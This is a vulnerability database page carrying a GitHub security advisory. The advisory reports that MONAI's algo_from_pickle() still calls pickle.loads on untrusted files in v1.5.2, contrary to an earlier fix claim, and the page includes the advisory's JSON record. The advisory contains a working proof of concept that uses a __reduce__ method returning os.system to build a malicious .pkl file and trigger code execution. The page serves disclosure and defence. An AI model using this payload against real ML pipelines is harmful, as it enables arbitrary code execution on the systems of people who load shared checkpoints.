GHSA-QXQ5-QHX6-94QW
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
## Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit: def reduce(self): return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n has not been modified since 2024-07-12 \u2014 18 months before v1.5.2 was released\n (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n never implemented.\n\n ## Vulnerable Code\n\n File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n ```python\n def algo_from_pickle(pkl_filename: str, ...):\n with open(pkl_filename, \"rb\") as f_pi:\n data_bytes = f_pi.read()\n data = pickle.loads(data_bytes) # SINK 1 \u2014 line 321, RCE fires here\n\n # isinstance/key checks happen AFTER deserialization \u2014 already too late\n\n algo_bytes = data.pop(\"algo_bytes\")\n ...\n if len(template_paths_candidates) == 0:\n algo = pickle.loads(algo_bytes) # SINK 2 \u2014 line 350\n else:\n for p in template_paths_candidates:\n algo = pickle.loads(algo_bytes) # SINK 3 \u2014 line 356\n\n No Unpickler subclass, no find_class restriction, no allowlist.\n\n Why the Fix is Incomplete\n\n - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n - v1.5.2 released: 2026-01-29 \u2014 release notes contain no pickle-related changes\n - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n PoC\n\n import pickle, os\n\n class Exploit:\n def __reduce__(self):\n return (os.system, (\u0027id \u003e /tmp/rce_proof.txt\u0027,))\n\n # Craft malicious pkl\n data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n with open(\"/tmp/evil.pkl\", \"wb\") as f:\n f.write(pickle.dumps(data))\n\n # Trigger \u2014 monai/auto3dseg/utils.py lines 319-350 verbatim\n with open(\"/tmp/evil.pkl\", \"rb\") as f:\n data = pickle.loads(f.read()) # SINK 1 fires \u2014 RCE here\n algo = pickle.loads(data[\"algo_bytes\"]) # SINK 2 fires\n\n print(open(\"/tmp/rce_proof.txt\").read())\n # uid=1000(user) gid=1000(user) groups=...\n\n Verified on monai v1.5.2 (utils.py verbatim source):\n [+] RCE CONFIRMED via algo_from_pickle():\n desktop-5657tb1\\woong\n\n Impact\n\n Any application or ML pipeline calling algo_from_pickle() with an\n attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n frequently exchange model checkpoints, making this a realistic attack vector.",
"id": "GHSA-qxq5-qhx6-94qw",
"modified": "2026-08-18T20:22:30Z",
"published": "2026-08-18T20:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-89gg-p5r5-q6r4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.